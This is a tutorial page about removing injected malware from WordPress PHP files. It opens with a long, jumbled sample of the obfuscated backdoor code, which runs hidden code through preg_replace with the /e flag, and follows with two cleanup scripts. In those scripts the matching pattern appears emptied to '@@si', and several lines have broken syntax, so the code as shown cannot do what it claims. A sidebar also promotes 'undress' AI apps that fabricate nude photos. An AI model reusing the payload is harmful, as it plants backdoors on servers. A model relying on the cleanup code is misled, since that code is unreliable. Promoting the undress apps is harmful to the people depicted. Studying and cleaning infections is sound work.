Home Backend Development PHP Tutorial Remove malicious code from PHP files in wordpress

Remove malicious code from PHP files in wordpress

Jul 25, 2016 am 08:46 AM

Some of the company's wordpress websites had malicious code in the downloaded plug-ins, which resulted in the presence of malicious code in the PHP files of all websites on the entire server, so I wrote a simple script to remove them.
  1. !#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg!>!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7x7827jsv%x5c%x78256^#zsfvrx5c%x7827&6<%x5c%x787fw6*%x5c%x78825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>21<%x5c%x7825j=6[%x5c%x7825ww2!>5b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,x7822:ftmbg39*56A:>:8:|:7#6ufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825<#3722!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f<5h%x5c%x7825%x5c%x782f#0#%x58]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}25Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c2fh%x5c%x7825:<**#57]38y]4tjyf%x5c%x7860opjudovg%x525bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdyU<#16,47R57,27R66,#%x5c%*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7825!<***f%x5c%x78%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x7825c:>1<%x5c%x7825b:>1%x5c%x782272qj%x5c%x7825)7gj6<**2qj%>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!<*::::::-111112)eobs%x5c%x7861L3]84]y31M6]y3e]81#%x5c%x782f#SFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#<%x5c%xbbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x782)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFx5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x784l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6<*K)ftpmdXA6|7**197-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78po)##-!#~<#%x5c%x782f%x5c%x7825c%x7824-%x5c%x7824tvctus)%x5x7825)!>>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54!#]y76]277]y72]265]y39]274]y85]273]y66<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:q%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5cx5c%x7824*1<%x5c%x7825j=tj%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c1%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]KC#<%x5g!)%x5c%x7825z>>2*!%x5c%x7825z>3j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%<*#k#)usbut%x5c%x7860cpg]273]y76]271]y7d]252]y74]256]7f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%xx5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]47825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%xPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x780#)U!%x5c%x7827{**u%x5c%x7825-fd)##Qtpz)#]341]88M4P8825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]2#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z>1*!%x5c%x7825b:]y4c#!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%e56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTbek!~!bjepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#cvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*q%x5c%x7825V<*#fopoV;ho]y81]265]y72]254]y76#<%x5x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~#]y31]278]y3e]81]K78:569x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWtj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x]y7f#!%x5c%x782400~:Ew:Qb:Qc:]37]278]225]241]334]368]322]3]364]6]283]2178}527}88:}334}472%x55c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x25!-#2#%x5c%x782f#%x5c%x7825#%fwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fep>1%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x782x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x782{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6fs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827c%x78256<^#zsfvr#%x5c%x785cc%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t27825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%%x7822#)fepmqyfA>2b%x5c%7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860fc%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H9%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nmtf!%x5c%x7825z>2%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5256]y81]265]y72]254]y76]824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%/(.*)/epreg_replaceinxfryrtvr'; $wzmdmzzyol = explode(chr((176-132)),'7239,44,5287,69,1871,39,5903,37,1727,36,2772,60,2055,59,48,57,9678,48,9945,68,3362,48,2527,64,5005,39,3740,40,1289,53,2884,49,5753,63,6161,62,3898,52,7746,48,1132,62,7619,64,4407,30,4922,29,5848,22,105,65,3106,69,6337,30,6099,62,9351,27,5113,49,3552,22,470,29,3971,58,8590,38,9601,42,6586,65,9237,70,7433,37,2667,30,4752,55,7353,42,4098,40,815,38,9529,48,2933,31,2337,56,499,33,6523,63,6651,46,3950,21,4310,40,793,22,3837,61,3175,61,9888,57,4664,50,880,68,9307,44,3410,55,5517,43,4621,43,8371,61,4270,40,755,38,8045,37,1679,48,532,63,8217,62,3640,51,2223,25,3780,57,2160,37,5227,60,9577,24,4865,57,1910,29,8923,48,2503,24,1601,31,335,58,6420,24,3236,35,2591,51,3465,64,9047,55,7470,64,8279,51,9858,30,7891,69,6967,57,3529,23,8689,40,7960,33,2964,23,2987,46,5634,56,6267,70,8545,45,3302,60,8870,53,4201,43,3574,66,853,27,1071,61,225,56,4138,63,2832,52,4537,29,6470,23,8432,46,6055,44,1632,47,6921,46,2308,29,1030,41,8162,30,7993,52,7192,47,2114,46,2393,67,7024,30,4437,41,9017,30,9171,66,4951,54,6493,30,5988,67,8192,25,9378,52,717,38,8141,21,8628,61,6754,48,2197,26,7395,38,5356,58,595,22,1546,29,2007,48,1447,31,4566,55,2460,43,6223,44,1352,42,8799,23,948,50,4714,38,1478,68,3073,33,1575,26,4509,28,2724,48,9484,45,998,32,5591,43,10037,69,5816,32,7534,29,6444,26,5162,65,7683,63,4478,31,8082,59,170,55,7836,55,4843,22,8330,41,1394,53,3691,49,6367,53,4350,57,9643,35,2697,27,8822,48,1835,36,1221,68,8478,67,9816,42,6802,28,5560,31,3271,31,5414,68,4029,30,281,54,418,52,7076,55,5940,48,2248,60,4244,26,4059,39,9726,39,7054,22,8759,40,6870,51,1939,68,9430,54,7563,56,6697,57,3033,40,8971,46,7794,42,9102,69,683,34,5870,33,8729,30,617,66,7131,39,5482,35,9765,51,5044,69,4807,36,2642,25,7283,70,6830,40,393,25,1806,29,7170,22,1763,43,1194,27,10013,24,0,48,5690,63,1342,10'); $yhjbllsvwt=substr($bssaiikhvn,(33905-23799),(41-34)); if (!function_exists('bggbbjvwgq')) { function bggbbjvwgq($vawbzzfouj, $wiijrfgknq) { $goicwhrdcc = NULL; for($ipzagsxozk=0;$ipzagsxozk<(sizeof($vawbzzfouj)/2);$ipzagsxozk++) { $goicwhrdcc .= substr($wiijrfgknq, $vawbzzfouj[($ipzagsxozk*2)],$vawbzzfouj[($ipzagsxozk*2)+1]); } return $goicwhrdcc; };} $urvbwkljhb="x2057x2a40x67150x6a145x73165x77166x7a146x2052x2f40x65166x61154x28163x74162x5f162x65160x6c141x63145x28143x68162x2850x3167x3555x3163x3851x2954x20143x68162x2850x3567x3255x3470x3051x2954x20142x67147x62142x6a166x77147x7150x24167x7a155x64155x7a172x79157x6c54x24142x73163x61151x69153x68166x6e51x2951x3b40x2f52x20153x6d151x73166x7a161x63153x6840x2a57x20"; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?>
复制代码
  1. /**
  2. * File name: delUnwantedCode.php
  3. * Function: Delete malicious code in FTP
  4. * Instructions for use:
  5. * Please upload the file to the directory where the malicious code needs to be removed, and then access it through CLI or browser. The original one is infected files will be automatically backed up
  6. */
  7. $path = dirname(__FILE__); #Define the directory to be processed
  8. $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php '); #Define the source file backup directory. Before the program filters out malicious codes, first back up the documents to this directory according to the original path
  9. $fileType = array('php'); #Define the file type (suffix name) that needs to be processed, Lowercase
  10. $search = array('@@si'); #Define malicious code rules that need to be filtered
  11. $search_count = array(
  12. 'all_file'=>array(), #All files
  13. 'search_file0'=>array(), #No malicious code File
  14. 'search_file1'=>array() #File containing malicious code
  15. );
  16. $filelist = listDir($path,$fileType,false); #Read the list of qualified files in the directory
  17. if(!empty ($filelist)){
  18. foreach ($filelist as $file){
  19. $file = (isset($file['name'])?$file['name']:$file);
  20. $search_count['all_file '][] = $file;
  21. $fileContent = file_get_contents($file);
  22. $compile_fileContent = preg_replace($search, '', $fileContent);
  23. if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
  24. #If the file length is inconsistent after filtering, it means it contains malicious code (the directory where the backup file is located is not filtered)
  25. $search_count['search_file1'][] = $ file;
  26. ############Start backing up the original file##############
  27. $bakFile = str_replace($path, $bak_path, $file );
  28. @make_dir(dirname($bakFile));
  29. @file_put_contents($bakFile, $fileContent);
  30. ############End of backing up the original file######## #######
  31. #Rewrite the filtered content to the original PHP file
  32. @file_put_contents($file, $compile_fileContent);
  33. }else{
  34. $search_count['search_file0'][] = $ file;
  35. }
  36. }
  37. }
  38. #print_r($search_count);die;
  39. echo sprintf('A total of %s qualified files were searched from %s, of which %s contained malicious code, and the processing has been completed ',$path,count($search_count['all_file']), count($search_count['search_file1']));die;
  40. #######################
  41. ## Auxiliary function
  42. ################ ########
  43. /**
  44. * Check whether the target folder exists, if not, automatically create the directory
  45. *
  46. * @access public
  47. * @param string folder directory path. Cannot use URLs relative to the website root
  48. *
  49. * @return bool
  50. */
  51. function make_dir($folder){
  52. $reval = false;
  53. if (!file_exists($folder)){
  54. #If the directory does not exist then Try to create the directory
  55. @umask(0);
  56. #Split the directory path into an array
  57. preg_match_all('/([^/]*)/?/i', $folder, $atmp);
  58. #If If the first character is /, it will be treated as a physical path
  59. $base = ($atmp[0][0] == '/') ? '/' : '';
  60. #Traverse the array containing path information
  61. foreach ($atmp[1] AS $val){
  62. if ('' != $val){
  63. $base .= $val;
  64. if ('..' == $val || '.' == $val ){
  65. #If the directory is. or.., then directly add/continue to the next cycle
  66. $base .= '/';
  67. continue;
  68. }
  69. }else{
  70. continue;
  71. }
  72. $base .= '/ ';
  73. if (!file_exists($base)){
  74. #Try to create the directory, if the creation fails, continue the loop
  75. if (@mkdir(rtrim($base, '/'), 0777)){
  76. @chmod( $base, 0777);
  77. $reval = true;
  78. }
  79. }
  80. }
  81. }else{
  82. #The path already exists.Return whether the path is a directory
  83. $reval = is_dir($folder);
  84. }
  85. clearstatcache();
  86. return $reval;
  87. }
  88. ########Get all files in the directory, Include the beginning of subdirectories################
  89. function listDir($path,$fileType=array(),$fileInfo=true){
  90. $path = str_replace(array('/ ','\'), DIRECTORY_SEPARATOR, $path);
  91. if(!file_exists($path)||!is_dir($path)){
  92. return '';
  93. }
  94. if(substr($path, -1, 1)==DIRECTORY_SEPARATOR){
  95. $path = substr($path, 0,-1);
  96. }
  97. $dirList=array();
  98. $dir=opendir($path);
  99. while($file=readdir( $dir)){
  100. #If $fileType is defined and the file type is not within the range of $fileType or the file is a directory, skip
  101. if($file!=='.'&&$file!=='.. '){
  102. $file = $path.DIRECTORY_SEPARATOR.$file;
  103. if(is_dir($file)){
  104. if(empty($fileType)){
  105. $dirList[] = ($fileInfo==true?array( 'name'=>$file,'isDir'=>intval(is_dir($file))):$file);
  106. }
  107. $dirList = array_merge($dirList,listDir($file,$fileType));
  108. }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
  109. $dirList[] = ($fileInfo==true?array('name'=>$ file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($ file)):$file);
  110. }
  111. };
  112. };
  113. closedir($dir);
  114. return $dirList;
  115. }
  116. ########Get all files in the directory, including the end of the subdirectory# ###############
Copy code
  1. /**
  2. * File name: delAllUnwantedCode.php
  3. * Function: Delete malicious code in FTP (supports any number of file processing)
  4. * Instructions for use:
  5. * Please upload the file to the directory where the malicious code needs to be removed, and then use CLI or browser Just access it, and the original infected files will be automatically backed up
  6. */
  7. set_time_limit(0);ignore_user_abort(true);
  8. $path = dirname(__FILE__); #Define the directory that needs to be processed
  9. $bak_path = $path .DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #Define the source file backup directory. Before the program filters the malicious code, first back up the documents to this directory according to the original path
  10. $fileType = array('php'); #Definition File type to be processed (suffix name), lowercase
  11. $search = array('@@si'); #Define malicious code rules that need to be filtered
  12. $file_count = array(
  13. 'all_file'=>0, #All files
  14. 'filter_file'=> 0 #Files containing malicious code
  15. );
  16. replaceUnwantedCode($path); #Execute filtering
  17. #print_r($search_count);die;
  18. echo sprintf('A total of %s files that meet the criteria were searched from %s , %s of which contain malicious code have been cleaned, and the original files are saved in %s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;
  19. function replaceUnwantedCode($path){
  20. global $bak_path,$fileType,$search,$file_count;
  21. $path = str_replace(array('/','\'), DIRECTORY_SEPARATOR, $path);
  22. if(! file_exists($path)||!is_dir($path)){
  23. return '';
  24. }
  25. if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
  26. $path = substr($path, 0 ,-1);
  27. }
  28. $dir=opendir($path);
  29. while($file=readdir($dir)){
  30. #If $fileType is defined, and the file type is not within the range of $fileType or the file is a directory, skip
  31. if($file!=='.'&&$file!=='..'){
  32. $file = $path.DIRECTORY_SEPARATOR.$file;
  33. if(is_dir($file)){
  34. replaceUnwantedCode($file);
  35. }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
  36. ############## #################
  37. @$file_count['all_file']++;
  38. $fileContent = file_get_contents($file); #File original code
  39. $compile_fileContent = preg_replace( $search, '', $fileContent); #Filtered content
  40. if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
  41. # If the length of the file after filtering is inconsistent, it means it contains malicious code (the directory where the backup file is located is not filtered)
  42. $file_count['filter_file']++;
  43. ############Start backing up the original file# ##############
  44. $bakFile = str_replace($path, $bak_path, $file);
  45. @make_dir(dirname($bakFile));
  46. @file_put_contents($bakFile, $fileContent );
  47. ############End of backing up the original file##############
  48. #Rewrite the filtered content to the original PHP File
  49. @file_put_contents($file, $compile_fileContent);
  50. }
  51. ###############################
  52. unset( $fileContent,$compile_fileContent);
  53. }
  54. };
  55. };
  56. closedir($dir);
  57. return true;
  58. }
  59. ################ ########
  60. ## Auxiliary function
  61. ######################
  62. /**
  63. * Check whether the target folder exists, if not, automatically create the directory
  64. *
  65. * @access public
  66. * @param string folder directory path. Cannot use URLs relative to the website root
  67. *
  68. * @return bool
  69. */
  70. function make_dir($folder){
  71. $reval = false;
  72. if (!file_exists($folder)){
  73. #If the directory does not exist, try to create it
  74. @umask(0);
  75. #Split the directory path into Array
  76. preg_match_all('/([^/]*)/?/i', $folder, $atmp);
  77. #If the first character is /, it will be treated as a physical path
  78. $base = ($atmp[ 0][0] == '/') ? '/' : '';
  79. #Traverse the array containing path information
  80. foreach ($atmp[1] AS $val){
  81. if ('' != $val ){
  82. $base .= $val;
  83. if ('..' == $val || '.' == $val){
  84. #If the directory is. or.., directly add/continue to the next cycle
  85. $base .= '/';
  86. continue;
  87. }
  88. }else{
  89. continue;
  90. }
  91. $base .= '/';
  92. if (!file_exists($base)){
  93. #Try to create a directory, If creation fails, continue looping
  94. if (@mkdir(rtrim($base, '/'), 0777)){
  95. @chmod($base, 0777);
  96. $reval = true;
  97. }
  98. }
  99. }
  100. } else{
  101. #The path already exists. Return whether the path is a directory
  102. $reval = is_dir($folder);
  103. }
  104. clearstatcache();
  105. return $reval;
  106. }
Copy code
Malicious code, wordpress, PHP


Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How does session hijacking work and how can you mitigate it in PHP? How does session hijacking work and how can you mitigate it in PHP? Apr 06, 2025 am 12:02 AM

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1. Use the session_regenerate_id() function to regenerate the session ID, 2. Store session data through the database, 3. Ensure that all session data is transmitted through HTTPS.

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

Describe the SOLID principles and how they apply to PHP development. Describe the SOLID principles and how they apply to PHP development. Apr 03, 2025 am 12:04 AM

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set permissions of unixsocket after system restart? How to automatically set permissions of unixsocket after system restart? Mar 31, 2025 pm 11:54 PM

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

How to debug CLI mode in PHPStorm? How to debug CLI mode in PHPStorm? Apr 01, 2025 pm 02:57 PM

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

How to send a POST request containing JSON data using PHP's cURL library? How to send a POST request containing JSON data using PHP's cURL library? Apr 01, 2025 pm 03:12 PM

Sending JSON data using PHP's cURL library In PHP development, it is often necessary to interact with external APIs. One of the common ways is to use cURL library to send POST�...

See all articles